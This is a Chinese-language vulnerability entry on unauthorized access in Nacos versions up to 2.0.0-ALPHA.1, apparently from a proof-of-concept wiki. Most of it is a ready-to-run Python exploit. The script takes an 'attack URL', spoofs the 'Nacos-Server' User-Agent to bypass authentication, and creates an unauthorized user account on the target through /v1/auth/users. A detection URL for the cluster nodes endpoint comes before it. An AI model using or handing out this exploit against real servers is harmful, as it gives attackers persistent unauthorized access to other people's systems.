Nacos 未授权访问

未授权访问

批露时间：2020-12-29

添加时间：2021-01-26

影响版本：

  • Nacos <= 2.0.0-ALPHA.1

检测

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http://xxx.xxx.xxx.xxx:8848/nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageSize=10&keyword=
//注意下大部分企业的 nacos的url为 /v1/auth/users ，而不是  /nacos/v1/auth/users

poc

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import requests
import sys
import random
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mVersion: Nacos <= 2.0.0-ALPHA.1                                   \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    # vuln_url = target_url + "/nacos/v1/auth/users"
    vuln_url = target_url + "/v1/auth/users"
    headers = {
        "User-Agent": "Nacos-Server",
        "Content-Type": "application/x-www-form-urlencoded",
    }
    number = random.randint(0,999)
    data = "username=peiqi{}&password=peiqi".format(str(number))
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
        print("\033[32m[o] 正在请求 {}/nacos/v1/auth/users \033[0m".format(target_url))
        if "create user ok!" in response.text and response.status_code == 200:
            print("\033[32m[o] 目标 {}存在漏洞 \033[0m".format(target_url))
            print("\033[32m[o] 成功创建账户 peiqi{} peiqi\033[0m".format(str(number)))
        else:
            print("\033[31m[x] 创建用户请求失败 \033[0m")
            sys.exit(0)
    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)

if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    POC_1(target_url)